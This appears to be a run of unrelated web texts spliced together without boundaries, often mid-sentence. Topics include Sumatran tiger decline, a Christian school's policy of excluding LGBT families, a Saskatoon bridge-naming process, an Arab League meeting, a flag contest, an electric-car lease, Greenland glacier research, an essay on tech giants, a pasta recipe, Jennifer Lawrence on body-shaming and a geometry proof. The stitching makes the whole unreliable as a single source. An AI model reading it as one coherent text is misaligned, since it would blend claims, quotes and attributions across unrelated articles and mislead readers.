Critically endangered species such as the orangutan, the Sumatran rhino, and the Bornean Pygmy elephant. Palm oil is also associated with increased greenhouse gas emissions. It may be helping some individuals and companies, but at the broader scale, it’s taking a massive toll on the environment.
Journal Reference: Matthew Scott Luskin, Wido Rizki Albert & Mathias W. Tobler. Sumatran tiger survival threatened by deforestation despite increasing densities in parks. doi:10.1038/s41467-017-01656-4
Enjoyed this article? Join 40,000+ subscribers to the ZME Science newsletter. Subscribe now!A private Christian school in North Carolina has instituted a "Biblical morality policy" that empowers school administrators to expel or reject admissions applications from LGBT children, the children of LGBT parents, or any family suspected of "participating in, supporting, or affirming sexual immorality, homosexual activity, or bisexual activity."
The policy of active discrimination against children and families in the school's community is not intended as a "statement of condemnation," Myrtle Grove Christian School president J. Stacy Miller stated in a letter announcing the change to parents, but an opportunity to "stand firmly on the truth of the Holy Bible."
Advertisement:
More from the letter:
An integral part of Myrtle Grove Christian School’s mission is to foster spiritual development and a biblical worldview in the lives of its students. This includes leading students to develop a biblical understanding of morality and to pursue a life that is governed by the biblical moral code. The school works in partnership with families to achieve these desired outcomes, which necessitates that both the school and home come under the authority of God for the benefit of the student.... For this reason, the school reserves the right, within its sole discretion, to refuse admission of an applicant or to discontinue enrollment of a student if the atmosphere or conduct within a particular home or the activities of the student are counter to or are in opposition to the biblical lifestyle the school teaches. This includes, but is not necessarily limited to, participating in, supporting, or affirming sexual immorality, homosexual activity, or bisexual activity; promoting such practices; or being unable to support the moral principles of the school.
Like many other private Christian schools with discriminatory policies, Myrtle Grove will be eligible to receive taxpayer-funded private school vouchers in 2014.
You can read the school letter announcing the policy here.Elders will be playing an important role in naming a new Saskatoon bridge.
This summer, city council voted to use the Truth and Reconciliation Commission's calls to action when naming the North Commuter Parkway.
Now, a City of Saskatoon committee is recommending that elders and residential school survivors come up with names. Then, the names will be put forward to the Saskatoon Reconciliation Committee — made up of a wide variety of Indigenous and non-Indigenous people — who will come up with a short list.
I would want those recommendations coming from the people who know best. - Coun. Troy Davies
City council will vote on a final name.
"Sitting on the naming committee, I would not feel comfortable choosing out of a list of First Nation elders or leaders," said Coun. Troy Davies. "I would want those recommendations coming from the people who know best."
The naming process has been given a $20,000 budget.
"This is more than naming a bridge," said Catherine Gryba, the city's general manager of corporate performance. "There's community consultation. We expect to produce three to four videos for each of the names being brought forward to talk about: what the background of that name would be."
The North Commuter Parkway bridge is expected to open in 2018, along with the replacement for the traffic bridge.
City council still needs to vote on the recommendation at its next meeting.TEL AVIV – Ahead of the Arab League Summit later this month, foreign ministers of member states gathered in Cairo on Sunday and Monday to discuss how to prevent President Donald Trump from going through with his promise to move the embassy from Tel Aviv to Jerusalem, the Hebrew news site nrg reported.
The “Palestinian issue,” along with the embassy move to “occupied Jerusalem,” were among 28 items on the agenda, according to a press release from the Arab League’s Deputy Secretary-General Ahmed Bin Hali.
In January, the League’s Assistant Secretary-General for Palestinian Affairs Said Abu Ali urged Trump to “reconsider” the embassy move or else the U.S. will be in danger of losing its status “as an objective sponsor of the peace process.”
Bin Hali said that another item to be discussed by representatives of member states is the “Arab League’s plan to curb the proliferation of weapons of mass destruction in the Middle East.” He added that ahead of the summit in Jordan on March 23, the representatives will discuss the terrorism spreading in the Arab world, and the role of Turkey and Iran in regional conflicts.
Bin Hali also told reporters that Iran’s meddling in other states’ affairs must be stopped and that the member states of the Arab League must view this, as well as Tehran’s nuclear aspirations, as a shared interest. According to Bin Hali, the lack of a “unified stance” on the part of Arab world was its biggest problem.
He said that despite efforts to that end, “there are still Arab officials who remain divisive and who seek to provoke tension in relations between Arab states.”
“We are all in the same boat. We are all affected by the regional security issues and therefore we must work towards resolving our internal strife,” he added.When we launched the Portland flag contest in February, we didn’t expect to get so many entries.
All told, we got 85 flags, from 40 designers. We got hand-drawn designs, one that’s really hilarious, a ton of really slick, beautiful designs, and a handful of lighthouses. Even though Portland does not actually have a lighthouse in the city, we understand why the image is iconic for a coastal city in Maine.
Our judges — flag experts Ted Kaye and David Martucci, and Casco Bay High School student Benjamin Coursey — pored over the designs and rated each one.
The judges were looking for simple, clear designs that followed generally accepted best practices for flag design and somehow captured an essential part of Portland.
Now, originally, the plan was for them to whittle the entries down to the top-three finalists.
But with so many entries, we and the judges decided to open up the contest a little, so you could have a greater say in choosing the winning flag.
The judges instead picked their 10 favorite designs. They didn’t worry about where they came from or who designed them. They were purely interested in the designs themselves.
A few of the flags chosen for the second round were great, but the judges had minor suggestions to improve them. We shared the ideas with the designers, and they made the tweaks. We’ve noted which flags were revised in the gallery below.
Now, it’s your turn to weigh in.
For this next round, you’ll rate each flag — one for the lowest score, 10 for the highest.
The three top-scoring flags will advance to the final round, where you’ll get to vote again — this time, by just choosing your favorite flag. Whichever designer gets the most votes, wins the contest.
Here’s the link to the contest, where you can rate the flags.
And here are the semifinalists:For less than the monthly cost of a cell phone plan, you can lease a brand new Mitsubishi all-electric MiEV car.
First, let's get the fine print out of the way. The rare promotional offer, spotted by a reader on AOL's Autoblog Green at a Mitsubishi dealership in the city of Normal, Illinois, does involve some standard fees and other upfront expenses. Lessees can choose a payment plan that costs $69 per month for two years before having to return the car. With this option, lessees would be responsible for taxes, cost of title and license up front, estimated at around $2,100. Or they can go with a different arrangement in which the tax, title and license is rolled into the monthly payment, which comes out to $169 per month.
Both 24-month lease options don't require a down payment and compared to the Mitsubishi's 3-year, $249 a month official lease program, its simply a steal for someone looking for an environmentally and budget-friendlier way to get around town.
The Japanese manufacturer's flagship EV model hasn't been getting much attention due to its limited roll-out prior to last year, which probably leaves many of you wondering what exactly the plug-in offers commuters. With a combined city and highway fuel economy rating of 112 MPGe, the five-door hatchback was named "the greenest car of the year" by the American Council for an Energy-Efficient Economy. Although the MiEV comes with an admittedly paltry 66 horsepower engine and 145 pound-feet of torque, it only weighs 2,579 lbs and is powered by small lithium-ion battery that's guaranteed for eight years or 100,000 miles.
Top speed is 81 mph and driving range is rated at 62 miles, though tests by Road & Track magazine found during extended 3,818-mile use of a 2012 model that the estimate may actually be rather modest, noting that the car “didn’t let us down. It under-promised and over-delivered. Nor did it give us any mechanical problems.” And with access to a quick-charge port, the battery can be recharged to 80 percent in half an hour.
Adopting an electric vehicle as a main mode of transport does mean owners would likely need to have charging ports installed. A salesman at the O'Brien Mitsubishi dealership, where the deal is being offered, told Autoblog that 90 percent of lessees are having Level 2 charging ports set up in their homes.
"It's a very small amount to pay," general manager Ryan Gremore told Autoblog.
The lack of affordability and attractive price points has long hampered the adoption of EVs. But if deals like this set off a price war that trends beyond Illinois, the situation will change dramatically.
The latest fuel efficiency breakthroughs:
Got money to spare? Check out these innovative concepts:
This post was originally published on Smartplanet.comWhether Hansen is overstating the dangers depends on the ice sheets’ marine-terminating glaciers. These days, Rignot’s main work is devoted to analyzing satellite images of Greenland and Antarctica, a task he can handle from Irvine. For the past few summers, though, he has also chartered a boat to measure glaciers himself. Making his way around the cold coast of Greenland, he checks the depths and temperatures of the fjords — the deep ocean inlets that penetrate the island’s coastline — where the glaciers meet the sea. The work is punishing and somewhat risky; the crew barely sleeps. He is mapping places that have never been scientifically explored. ‘‘It can be somewhat unpleasant,’’ Rignot admitted. But the data have proved startling. His first paper on this work, published this summer, revealed that the fjords are much deeper than existing charts indicated, which means more of the glaciers’ submerged ice is exposed to seawater and can be eroded by it. The resulting interaction, he concluded bluntly, ‘‘will raise sea levels around the world much faster than previously estimated.’’ NASA recently expanded Rignot’s efforts into a broad, five-year investigative mission designated ‘‘O.M.G.,’’ for ‘‘Oceans Melting Greenland.’’ The name suggests that someone at NASA has a sense of humor and that understanding the ocean-ice interplay is fairly urgent — especially as warming ocean waters also erode Antarctica’s marine glaciers, many of which are far larger than Greenland’s.
Yet measuring the impact of fjords won’t come close to settling the matter of how fast an ice sheet collapses. There are too many other unknowns. Glaciologists remain vexed, for instance, by the physics of how ice cleaves off the edge of the sheet. As Rignot told me, ‘‘We don’t have a set of mathematical rules to put in a numerical model to tell you how fast a glacier breaks into icebergs.’’ He emphasized that discovering these rules, known as calving laws, could be all-important. Richard Alley, a glaciologist at Penn State, told me: ‘‘Problems that deal with fracture mechanics — volcanic eruptions, or earthquakes, or things that involve the question ‘Will it break or not?’ — tend to be difficult. You ask, Will the ice shelf break off a lot or a little bit? Will the cliff left behind crumble? Will it crumble fast? Will it crumble slow?’’ So far, Alley says, we can’t be sure. But a formula might tell us in advance how fast the ice sheets might crash into the sea.
Rignot’s prediction of future sea-level rise now takes us to 1.2 meters by 2100. ‘‘That’s including all the ice and the thermal expansion of the ocean,’’ he told me. ‘‘But I’ve always said that this is a lower bound.’’ There are too many glaciers, now poised at the edge of the polar seas, that could change his calculus. It is hard right now to even set an upper bound, he added: Many things are possible, and nothing is certain.
Rignot grew up in south-central France, near a rural town called Chambon-Sur-Lignon. Interested in both technology and the natural world as a teenager, he didn’t imagine that his career would involve Arctic exploration. But his engineering education at U.S.C. in the late 1980s coincided with a technological shift in the study of ice. Traditionally, glaciology has involved painstaking, labor-intensive work at the most remote locations in order to measure changes in glaciers. In Greenland and Antarctica, the work has usually been limited to confined geographic regions, so that a broader understanding of the ice sheet itself proved elusive. When he was hired to work on a radar project at NASA’s Jet Propulsion Laboratory in the late 1980s, Rignot’s boss told him, ‘‘You’re coming to the right place at the right time.’’ Engineers were then adapting radar, laser and camera equipment to gather data and images of the earth from space.
These instruments have made possible what is referred to as ‘‘remote sensing.’’ Tom Wagner, a scientist at NASA who oversees the agency’s polar programs (and much of Rignot’s work), told me: ‘‘In the 1980s, biologists got the ability to work with DNA, and that revolutionized biology. For us in glaciology, it was the remote-sensing tools.’’ Early on, American and European satellites gave scientists sitting at their desks — a new generation of ‘‘armchair glaciologists’’ — a weekly stream of data on what was happening to glaciers all over the world. In the 1990s, nobody was actually sure whether Greenland was losing or gaining ice; remote-sensing imagery, coupled with precise measurements from a new NASA satellite called Grace, settled that question. By the early 2000s, it was becoming clear that the Greenland ice sheet was in decline and that rapid changes were underway in Antarctica.
In recent years, specially equipped airplanes have been able to gather even more detailed information about crucial regions in Antarctica or Greenland. A month before I met Rignot in California, I joined a NASA team in Greenland on its annual mission called Operation IceBridge. For eight hours a day, six days a week, the team manned a C-130 former military plane that flew over the ice at 1,500 feet. The aircraft had been outfitted under its wings, belly and nose cone with cameras and sensors; inside, several rows of seats for the science team were arranged behind a bank of gleaming computer consoles, high-resolution screens and radar instruments. On the outside, the plane, which was manufactured in the 1960s |
trying to guarantee the open Web stays alive? Not necessarily. GOOG’s goal is to gather as much rich data as possible, and build AI. Their mission is to have an AI provide timely and personalized information to us, not specifically to have websites provide information. Any GOOG concerted efforts are aligned to the AI mission. Mobile usage is on the rise – having already crossed desktop as the primary channel for internet usage – and native mobile apps are so far the best way of providing good user experience on mobile. GOOG collects little or no data from native mobile apps, to some extent on Android, but specially on iOS. PWAs happen to live in the neutral and open Web, and are better suited for data collection while providing great user experience on mobile. GOOG promotes lock-in and proprietary technologies such as Firebase and Google-dependent AMP installations as much as it advocates open PWAs. GOOG does not consistently defend the open Web. They dropped XMPP in Gtalk, and Gtalk itself was deprecated, favoring Google Hangouts with a proprietary protocol. Chrome Web Store is a walled garden like App Store. They shutdown Google Reader based on RSS, an open standard. Google Cloud TPU is proprietary hardware that only exists in their datacenters, supporting their open source framework TensorFlow. Google Inbox suffers “proprietary creep”: non-standard, closed algorithms that promise to organize your life, an essential component of a lock-in based business model. GOOG is a huge company where employees have autonomy and multiple projects and efforts are occurring. Big efforts, though, are coherent, concerted, and well aligned with its mission: to be an AI-first company, an AI that is closed and lives in their cloud.
From the 90s until the 2010s, the Web we have experienced has been, albeit somewhat imperfectly, faithful to its original purpose. The Web’s diversity has granted space for multiple businesses to innovate and thrive, independent hobbyist communities to grow, and personal sites to be hosted on whatever physical servers can host them. The internet’s infrastructural diversity is directly tied to the success of diverse Web businesses and communities. The Web’s openness is vital for its security, accessibility, innovation and competitiveness.
After 2014, we started losing the benefits of the internet’s infrastructural and economical diversity. It is difficult to compete with AMZN’s and GOOG’s Cloud Services, which host a massive amount of sites for other businesses. Any website aspiring for significant traffic depends on Search and Social traffic.
What the Web will become under GOOG-FB-AMZN
The following analysis is an extrapolation for the future, based on the current state of the Web and strategies made public by executives at GOOG-FB-AMZN.
The War for Net Neutrality in the USA won a battle in 2014, but in 2017 we are seeing a second battle which is more likely to be lost. Internet Service Providers (ISPs) are probably soon going to dictate what traffic can or cannot arrive at people’s end devices. GOOG-FB-AMZN traffic would be the most common, due to their popularity among internet users. Because of this market demand, ISPs will likely provide cheap plans with access to GOOG-FB-AMZN, while offering more expensive plans with full internet access. It is already a reality in Portugal. This would grow even more the dominance the three tech giants already enjoy. There would be no more economical incentive for smaller businesses to have independent websites, and a gradual migration towards Facebook Pages would make more sense. Smaller e-commerce sites would be bought by AMZN or go bankrupt. Because most internet users couldn’t open all the sites, GOOG would have little incentive to be a mere bridge between people and sites.
GOOG’s shift away from Search is a sign how they are growing their strategy beyond the Web. For many years, Google used to be just a tool that played the important role of assisting the Web, by indexing it. Lately, however, it is not attractive for Google to be a mere search engine of the Web. For the purposes expressed in their mission statement, “to organize the world’s information and make it universally accessible and useful”, the search engine approach has been exhausted. The multi-second path from search query, to search results, to webpage, to information, is too long to provide an ideal user experience. Their goal is to cut the middlemen in that path. They have tried to cut out the results page with their “I’m feeling lucky” button, but without intelligent analysis they cannot reliably take shortcuts in that path. With AI, they believe they can shorten the path to just one step, “get information”, even without searching for it in the first place. That’s the purpose of Suggest.
As an index, people have different expectations on search result neutrality. Some want Google Search to be entirely neutral, some demand immediate action to remove some results. The European Union has both demanded GOOG to comply with removal requests, and fined GOOG for not being neutral in shopping queries. It is not beneficial for GOOG to assume the role of an impartial arbiter of content, since it’s not supporting their business model. Quite the contrary, they are under public scrutiny from multiple governments, potentially risking their reputation.
The Suggest strategy is being currently deployed through Google Now, Google Assistant, Android notifications, and Google Home. None of these mentioned technologies are part of Web, in other words, not part of “browser-land” made of websites. The internet is just the underlying transport layer for data from their cloud to end-user devices, but the Web itself is being bypassed. Schmidt’s vision for the future is one where internet services are ubiquitous and personalized, as opposed to an experience contained in web browsers in desktop machines.
Similarly, while AMZN’s business still relies on traffic to their desktop web portal (accounting for 33% of sales), a large portion (25%) of their sales happen through mobile apps, not to mention Amazon Echo. Like Google Home, Amazon Echo bypasses the Web and uses the internet just for communication between cloud and end user. In these new non-web contexts, tech giants have more authority over data traffic. They can even directly block each other, like GOOG recently cut support for YouTube traffic in Amazon Echo devices.
The Appleification of tech giants
GOOG, MSFT, FB, and AMZN are mimicking AAPL’s strategy of building brand loyalty around high-end devices. Through a process I call “Appleification”, they are (1) setting up walled gardens, (2) becoming hardware companies, and (3) marketing the design while designing for the market. It is a threat to AAPL itself, because they are behind the other giants when it comes to big data collection and its uses. While AAPL’s early and bold introduction of an App Store shook the Web as the dominant software distribution platform, it wasn’t enough to replace it. The next wave of walled gardens might look different: less noticeable, but nonetheless disruptive to the Web.
There is a tendency at GOOG-FB-AMZN to bypass the Web which is motivated by user experience and efficient communication, not by an agenda to avoid browsers. In the knowledge internet and the commerce internet, being efficient to provide what users want is the goal. In the social internet, the goal is to provide an efficient channel for communication between people. This explains FB’s 10-year strategy with Augmented Reality (AR) and Virtual Reality (VR) as the next medium for social interactions through the internet. This strategy would also bypass the Web, proving how more natural social AR would be than social real-time texting in browsers. Already today, most people on the internet communicate with other people via a mobile app, not via a browser.
The common pattern among these three internet giants is to grow beyond browsers, creating new virtual contexts where data is created and shared. The Web may die like most other technologies do: simply by becoming less attractive than newer technologies. And like most obsolete technologies, they don’t suddenly disappear, neither do they disappear completely. You can still buy a Walkman and listen to a tape with it, but the technology has nevertheless lost its collective relevance. The Web’s death will come as a gradual decay of its necessity, not as a dramatic loss.
The Trinet
The internet will survive longer than the Web will. GOOG-FB-AMZN will still depend on submarine internet cables (the “Backbone”), because it is a technical success. That said, many aspects of the internet will lose their relevance, and the underlying infrastructure could be optimized only for GOOG traffic, FB traffic, and AMZN traffic. It wouldn’t conceptually be anymore a “network of networks”, but just a “network of three networks”, the Trinet, if you will. The concept of workplace network which gave birth to the internet infrastructure would migrate to a more abstract level: Facebook Groups, Google Hangouts, G Suite, and other competing services which can be acquired by a tech giant. Workplace networks are already today emulated in software as a service, not as traditional Local Area Networks. To improve user experience, the Trinet would be a technical evolution of the internet. These efforts are already happening today, at GOOG. In the long-term, supporting routing for the old internet and the old Web would be an overhead, so it could be beneficial to cut support for the diverse internet on the protocol and hardware level. Access to the old internet could be emulated on GOOG’s cloud accessed through the Trinet, much like how Windows 95 can be today emulated in your browser. ISPs would recognize the obsolescence of the internet and support the Trinet only, driven by market demand for optimal user experience from GOOG-FB-AMZN.
Perhaps a future with great user experience in AR, VR, hands-free commerce and knowledge sharing could evoke an optimistic perspective for what these tech giants are building. But 25 years of the Web has gotten us used to foundational freedoms that we take for granted. We forget how useful it has been to remain anonymous and control what we share, or how easy it was to start an internet startup with its own independent servers operating with the same rights GOOG servers have. On the Trinet, if you are permanently banned from GOOG or FB, you would have no alternative. You could even be restricted from creating a new account. As private businesses, GOOG, FB, and AMZN don’t need to guarantee you access to their networks. You do not have a legal right to an account in their servers, and as societies we aren’t demanding for these rights as vehemently as we could, to counter the strategies that tech giants are putting forward.
The Web and the internet have represented freedom: efficient and unsupervised exchange of information between people of all nations. In the Trinet, we will have even more vivid exchange of information between people, but we will sacrifice freedom. Many of us will wake up to the tragedy of this tradeoff only once it is reality.
(I wrote a continuation to this article, titled A plan to rescue the Web from the Internet)
If you liked this article, consider sharing (tweeting) it to your followers.
Copyright (C) 2017 Andre 'Staltz' Medeiros, licensed under Creative Commons BY-NC 4.0, translations to other languages allowed. You can make sure that the author wrote this post by copy-pasting this signature into this Keybase page.When ordering food at a restaurant, do you ever feel pressure to get a different dish than what you wanted because someone else is getting it? I don’t know why I feel like we all need to be eating something different at a restaurant when we eat the same thing every night at home. Well, I ask because a few months ago we went to dinner at The Cheesecake Factory with my husband’s siblings and mom and 5 out of the 6 of us got the same meal (well, some orders were split- the meals there are massive!). We all got the Louisiana Chicken Pasta. Now this time I was not even tempted to get something else because it is just that good… and everyone else felt the same way. Definitely satisfying!
Since I cook (and we are poor students), sometimes it is hard for me to spend a lot of money on food when going out because I can often replicate the same dish for a fraction of what it costs at the restaurant. At the Cheesecake Factory, the Louisiana Chicken Pasta costs about $16 which I think is a lot for a pasta dish so I decided that I would try to replicate this yummy dish.
I saw my mom do this kind of thing pretty often when I was growing up. She would memorize what exactly was in a food she ate or grab a take-out menu with the menu item descriptions and voila! A restaurant meal made at home! So here it is: Louisiana Chicken Pasta served right in your home for about only $7 for the whole meal! (Note: You will spend more buying the ingredients, but for the amounts of each ingredient you use the meal comes to $7.)
MY LATEST VIDEOS MY LATEST VIDEOS
Oh, the sauce does have a kick to it so if you can’t handle the heat don’t put in the red pepper flakes.
4.75 from 4 votes Print Louisiana Chicken Pasta Prep Time 30 minutes Cook Time 15 minutes Total Time 45 minutes Servings 6 servings Author Garnish & Glaze Ingredients For the Chicken: 6 3-ounce chicken tenders (or 3 chicken breasts cut in half)
2/3 cup flour divided
½ teaspoon Cajun seasoning
½ teaspoon salt
¼ teaspoon black pepper
½ cup water
1 egg beaten
1 cup Panko bread crumbs*
½ cup Parmesan cheese grated
1/2 cup canola oil for frying For the Pasta: 12 ounces bow tie pasta
1 tablespoons butter
1 clove garlic crushed
½ teaspoon crushed red pepper
1 cup mushrooms sliced
½ cup yellow bell pepper diced
½ cup red bell pepper diced
½ cup orange bell pepper diced
1 1/2 tablespoons flour
1/2 cup half and half cream
1/2 cup milk
1 teaspoon Cajun seasoning
½ teaspoon salt
¼ cup green onion diced
Parmesan cheese for garnish Instructions Put 1/3 cup flour in a bowl and set aside. Put 1/3 cup flour in another bowl with Cajun seasoning, salt, and black pepper. Mix in water a little at a time. Add egg and mix until batter is well blended. In a shallow dish, mix Panko crumbs with Parmesan. Flatten chicken to about 1/2 inch thin by pounding with a meat mallet. (Enclose chicken in a Ziplock bag or between two pieces of plastic wrap to avoid splashing.) Take a chicken tender and dip in flour and shake off excess. Then dip in batter and allow excess to drip back into the bowl. Press battered chicken in Panko mixture to cover both sides and then place on a parchment lined baking sheet (or whatever you want to set the chicken on until you're ready to fry it). Repeat with each piece of chicken and then set aside and begin making pasta. Boil water and cook the 4 cups of pasta as directed on package. While pasta cooks, make the sauce. In a large non-stick skillet, melt butter. Add garlic, crushed red pepper, mushrooms, and bell peppers. Saute over medium-high heat until tender. Stir in the flour and then the cream, milk, Cajun seasoning, and salt. Simmer over low heat for about 5 minutes of until thick (about 5 minutes). Begin frying chicken. Heat oil in a large skillet (it should cover the bottom of the pan and be about 1/4 inch deep) over medium-high heat. Place breaded chicken tenders in the pan (however many will fit without having them touch) and cook for about 3 minutes on each side or until golden brown. Place on a paper towel lined plate when done. Repeat with remaining chicken. When pasta is finished cooking, reserve 1/2 cup starchy water and then drain. Mix the pasta and sauce together. Add starchy pasta water if needed. Stir in the green onion. Dish pasta onto plates and top with a chicken tender. Grate Parmesan cheese over the top and serve. Recipe Notes *Panko Bread crumbs can be found in the baking aisle near regular bread crumbs or in the Asian aisle.
Recipe Source: Inspired by The Cheesecake Factory’s Louisiana Chicken Pasta
(Nutrition Facts are calculated based on only 1/4 cup oil being absorbed. Also, calculations account for all of the flour, batter, and breading being used on the chicken however you probably will not use all of it.)
(Updated 5/20/14 with new photos. Recipe updated and made lower in calories and fat 4/9/15.)Image caption Lawrence's red carpet appearances, such as the LA premiere of The Hunger Games: Catching Fire, often attract media attention
Actress Jennifer Lawrence has said she thinks "it should be illegal to call someone fat on TV", after red carpet criticism of her own figure.
Speaking to US host Barbara Walters, The Hunger Games star added: "Because why is humiliating people funny?"
The 23 year-old actress, who plays Katniss Everdeen in the teen franchise, said she was worried about how the media's attitude affected young people.
Lawrence features in Walters' series The 10 Most Fascinating People of 2013.
"I get it, and I do it too, we all do it," the actress told Walters.
"[But] the media needs to take responsibility for the effect that it has on our younger generation, on these girls who are watching these television shows, and picking up how to talk and how to be cool," Lawrence said.
"So all of the sudden being funny is making fun of the girl that's wearing an ugly dress. And the word fat! I just think it should be illegal to call somebody fat on TV."
Lawrence added: "I mean, if we're regulating cigarettes and sex and cuss words, because of the effect they have on our younger generation, why aren't we regulating things like calling people fat?"
The film actress, who won an Oscar earlier this year for her performance in Silver Linings Playbook, has previously spoken out against gossip magazines and TV shows such as E!'s Fashion Police, presented by Joan Rivers, which criticise the way women look.
Last month the American Hustle star told BBC Radio 1 that hearing negative things about her appearance "was like being in high school".
Her own figure became the subject of much debate, after being branded "fuller" by industry standards.
She told the December 2012 issue of Elle magazine that "in Hollywood, I'm obese. I'm considered a fat actress".
Walters' full interview with Lawrence will be broadcast on Wednesday night in the US as part of the ABC News special Barbara Walters Presents: The 10 Most Fascinating People of 2013.
Her list includes singer Miley Cyrus, Edward Snowden and Kanye West and Kim Kardashian, otherwise known as KimYe.
Prince George, the Duke and Duchess of Cambridge's baby son, also appears on the list.Suppose we inscribe a regular pentagon, a regular decagon, and a regular hexagon in circles of the same radius. If we denote the respective edge lengths of these polygons by $P$, $D$ and $H$, then these lengths satisfy the identity
$$P^2=D^2+H^2$$
This means that the edges of a pentagon, decagon and hexagon of identical radii can fit together to form a right triangle!
Euclid stated this beautiful but mysterious identity as Proposition 10 of Book XIII of the Elements. This is the last book of the Elements, the one which deals with properties of the Platonic solids. He used Proposition 10 as part of his construction of the regular icosahedron in Proposition 13.
This has led some historians to suggest that the pentagon-decagon-hexagon identity was first discovered in the course of research on the icosahedron. The idea is this. If you hold an icosahedron so that one vertex is on top and one is on bottom, you’ll see that its vertices are arranged in 4 horizontal layers. From top to bottom, these are:
1 vertex on top
5 vertices forming a pentagon: the "upper pentagon"
5 vertices forming a pentagon: the "lower pentagon"
1 vertex on bottom
Pick a vertex from the upper pentagon: call this $A$. Pick a vertex as close as possible from the lower pentagon: call this $B$. $A$ is not directly above $B$. Drop a vertical line down from $A$ until it hits the horizontal plane on which $B$ lies. Call the resulting point $C$:
It is easy to check that $ABC$ is a right triangle. If we apply the Pythagorean theorem to this triangle we get the equation
$$P^2=D^2+H^2$$
But to see this, we need to check that:
the length $AB$ equals the edge of a pentagon inscribed in a circle;
the length $AC$ equals the edge of a hexagon inscribed in a circle;
the length $BC$ equals the edge of a decagon inscribed in a circle.
Different circles, but of the same radius! What’s this radius? The five vertices of the lower pentagon lie on the circle shown in blue. This circle has the right radius.
Using this idea, it’s easy to see that the length $AB$ equals the edge of a pentagon inscribed in a circle. It’s also easy to see that $BC$ equals the edge of a decagon inscribed in a circle of the same radius. The hard part is showing that $AC$ equals the edge of a hexagon inscribed in a circle of the same radius… or in other words, the radius of that circle! (The hexagon appears to be a red herring.)
To prove this, it suffices to show the following marvelous fact: the distance between the "upper pentagon" and the "lower pentagon" equals the radius of the circle containing the vertices of the upper pentagon!
Can you prove this?
In Ian Mueller’s book Philosophy of Mathematics and Deductive Structure in Euclid’s Elements, he suggested various ideas the Greeks could have had about this. Today’s image shows one. Let’s look at it again:
The trick is to construct a new right triangle $AB’C’$. Here $B’$ is the top vertex, and $C’$ is where a line going straight down from $B’$ hits the plane containing the upper pentagon.
Remember, we’re trying to show the distance between the upper pentagon and lower pentagon
equals the radius of the circle containing the vertices of the upper pentagon.
But that’s equivalent to showing that $AC’$ is congruent to $AC$.
To do this, it suffices to show that the right triangles $ABC$ and $AB’C’$ are congruent! Can you do it?
In the references to Mueller’s book, he says the historians Dijksterhuis (in 1929) and Neuenschwander (in 1975) claimed this is “intuitively evident”. He also notes that Eva Sachs, in her book Die Fünf Platonischen Körper, suggested an accurately drawn figure could let someone guess that the distance between the two pentagons equals the radius of either one. But that’s not a proof.
You can see a proof due to Greg Egan here:
• Pentagon-hexagon-decagon identity: Proof using the icosahedron, nLab.
Egan put some other proofs of the pentagon-hexagon-decagon identity here:
• Pentagon-hexagon-decagon identity, nLab.
Also see:
• John Baez, This Week’s Finds in Mathematical Physics, Week 283, and discussion on the n-Category Café.
• Eva Sachs, Die Fünf Platonischen Körper, zur Geschichte der Mathematik und der Elementenlehre Platons und der Pythagoreer, Berlin, Weidmann, 1917, pp. 102–104. See page 102–103 here and page 104 here.
• Ian Mueller, Philosophy of Mathematics and Deductive Structure in Euclid’s Elements, MIT Press, Cambridge Massachusetts, 1981, pp. 257–258 and references therein.
Of course, we can prove also prove the pentagon-hexagon-decagon identity using algebra. Start with a unit circle. If we inscribe a regular hexagon in it, then clearly
$$ H = 1 $$
So we just need to compute $P$ and $D$. If we think of the unit circle as living in the complex plane, then the solutions of
$$ z^5 = 1 $$
are the corners of a regular pentagon. So let’s solve this equation. We’ve got
$$ 0 = z^5 – 1 = (z – 1)(z^4 + z^3 + z^2 + z + 1) $$
so ignoring the dull solution $z = 1$, we must solve
$$ z^4 + z^3 + z^2 + z + 1 = 0$$
This says that the center of mass of the pentagon’s corners lies right in the middle of the pentagon.
Now, quartic equations can always be solved using radicals, but it’s a lot of work. Luckily, we can solve this one by repeatedly using the quadratic equation! And that’s why the Greeks could construct the regular pentagon using a ruler and compass.
The trick is to rewrite our equation like this:
$$ z^2 + z + 1 + z^{-1} + z^{-2} = 0 $$
and then like this:
$$ (z + z^{-1})^2 \, + \,(z + z^{-1}) \, -\, 1 = 0 $$
If we write
$$z + z^{-1} = x $$
our equation becomes
$$x^2 + x \; – 1 = 0 $$
Solving this, we get two solutions. One of them is the golden ratio
$$ x = \phi = \frac{\sqrt{5} -1}{2} \approx 0.6180339\dots $$
Next we need to solve
$$ z + z^{-1} = \phi $$
This is another quadratic equation:
$$ z^2 – \phi z + 1 = 0 $$
with two conjugate solutions, one being
$$ z = \frac{\phi + \sqrt{\phi^2 – 4}}{2} $$
This is a fifth root of unity in the first quadrant of the complex plane, so we know
$$ z = \exp(2 \pi i/5) = \cos(2\pi/5) + i \sin(2\pi/5) $$
So, we’re getting
$$ \cos(2\pi/5) = \phi/ 2 $$
A fact we should have learned in high school, but probably never did! Now we’re ready to compute $P$, the length of the side of a pentagon inscribed in the unit circle:
$$ P^2 = |1 – z|^2 = (1 – \cos (2\pi/5))^2 + \sin^2 (2\pi/5) =
2 – 2 \cos (2\pi/5) = 2 \; – \phi $$
Next let’s compute $D$, the length of the side of a decagon inscribed in the unit circle! We can mimic the last stage of the above calculation, but with an angle half as big:
$$ D^2 = 2 – 2 \cos(\pi/5) $$
To go further, we can use the half-angle formula:
$$ \cos(\pi/5) = \sqrt{\frac{1 + \cos (2\pi/5)}{2}} = \sqrt{\frac{1}{2} + \frac{\phi}{4}} $$
This gives
$$ D^2 = 2 \; – \sqrt{2 + \phi} $$
But we can simplify this a bit more. As any lover of the golden ratio should know,
$$ 2 + \phi \approx 2.6180339\dots $$
is the square of
$$ 1 + \phi \approx 1.6180339\dots $$
So we really have
$$ D^2 = 1 – \phi $$
And now we’re done! We see that the pentagon-hexagon-decagon identity
$$P^2=D^2+H^2$$
simply says:
$$ 2 – \phi = 1 + (1 – \phi) $$
Visual Insight is a place to share striking images that help explain advanced topics in mathematics. I’m always looking for truly beautiful images, so if you know about one, please drop a comment here and let me know!By RSIS
Indonesian millennials will determine the direction of the Indonesian presidential election next year due to their significant population size (34%-50%). The presidential candidates who are able to think, absorb and accommodate their aspirations would probably be well placed to win.
By Syafiq Hasyim*
